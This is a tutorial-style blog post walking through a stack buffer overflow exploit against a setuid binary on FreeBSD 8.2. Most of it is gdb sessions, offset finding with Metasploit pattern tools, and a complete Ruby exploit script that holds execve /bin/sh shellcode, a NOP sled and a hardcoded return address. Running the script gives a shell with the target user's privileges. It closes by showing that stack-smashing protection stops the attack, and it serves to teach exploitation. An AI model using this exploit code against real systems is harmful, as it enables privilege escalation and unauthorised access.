Smashing the Stack on FreeBSD



Here’s a simple program to illustrate a stack smash.

$ date
Wed Sep 14 11:36:21 EDT 2011
$ uname -a
FreeBSD fbsd.local 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46
UTC 2011  root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

For the purposes of this post our user is named ‘user’. We note that the binary we are targeting is suid for the flag user. (This would be suid root in the interesting case.)

> id
uid=1001(user) gid=1001(users) groups=1001(users)
> ls -lah main
-rwsr-xr-x  1 flag  flag   6.4K Sep  7 13:54 main

So lets do some simple recon to see if there are functions that we might want to take advantage of:

$ readelf -r main

Relocation section '.rel.plt' at offset 0x298 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080496a4  00000107 R_386_JUMP_SLOT   00000000   _init_tls
080496a8  00000407 R_386_JUMP_SLOT   00000000   exit
080496ac  00000607 R_386_JUMP_SLOT   00000000   atexit
080496b0  00000707 R_386_JUMP_SLOT   00000000   strcpy

So lets see if the strcpy is vulnerable. Lets see if we can make this program crash on our input. We can assume that the input being taken is probably everything except for a (NULL byte).

We suspect that there is a buffer overrun on standard input because of:

$ ./main `ruby19 -e 'puts "A"*80'`
Segmentation fault: 11 (core dumped)

$ gdb main
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
gdb>run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x41414141 in ?? ()

So we create a dipstick to see how to construct the payload.

user@bt:~$ ruby /opt/framework3/msf3/tools/pattern_create.rb 64
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Using GDB we find out at which point on the dipstick we need to notch our return address:

$ gdb main
GNU gdb 6.1.1 [FreeBSD]
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x37614136 in ?? ()

gdb>print $eip
$1 = (void *) 0x37614136
gdb>x /i $eip
0x37614136:     Error accessing memory address 0x37614136: Bad address.

So we have overwritten the instruction pointer with data from our buffer. The program dies on jumping to the next instruction because $eip is not pointing to a valid memory address. 0x37614136 corresponds to 6Aa7 on our dipstick. We can get the offset by using:

user@bt:~$ ruby /opt/framework3/msf3/tools/pattern_offset.rb 37614136
20

Which shows we need the initial buffer to be 20 chars long. Now we need to replace 0x37614136 with an advantageous address. We can do this by looking where the program puts our input in memory.

$ gdb main
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGSEGV, Segmentation fault.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x37614136 in ?? ()

gdb>x /4s $esp
0xbfbfeb60:      "Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"
0xbfbfeb89:      "?▒?▒?"
0xbfbfeb95:      ""
0xbfbfeb96:      ""

So we see that the address we can use 0xbfbfeb60. Now we can put it all together:

#!/usr/local/bin/ruby19

# shellcode courtesy of lixor...
injection = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x
54\x53\xb0\x3b\x50\xcd\x80"

offset = 20
buf = 'A'*(offset+4)

eip = [0xbfbfeb60].pack('V')
buf[20, 4] = eip
nopsled = "\x90" * 100

payload = buf + nopsled + injection
puts payload

And we run it like so:

$ /home/flag/src/foo/main `./sploit.rb`
$ id
uid=1001(user) gid=1001(users) euid=1002(flag) groups=1001(users)
$ cd /home/flag/
$ touch foo
$ exit

$ id
uid=1001(user) gid=1001(users) groups=1001(users)
$ ls /home/flag
foo     src

Note: This is possible because there currently is a defaultly executable stack and this program was compiled without explicit stack smashing protection on FreeBSD.

Stack Smashing Protection is not on by default, but can be turned on with:

$ gcc -g -Wall -O2 -fstack-protector-all -o main main.c

And from there we can see kill() being called when we attempt a stack smash.

gdb>run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGABRT, Aborted.
Error while running hook_stop:
Invalid type combination in ordering comparison.
0x28179b97 in kill () from /lib/libc.so.7
gdb>x /i 0x28179b97
0x28179b97 <kill+7>:    jb     0x28179b7c <sigprocmask+12>

Thus, it is important to make sure everything on FreeBSD is compiled with stack smashing protection on.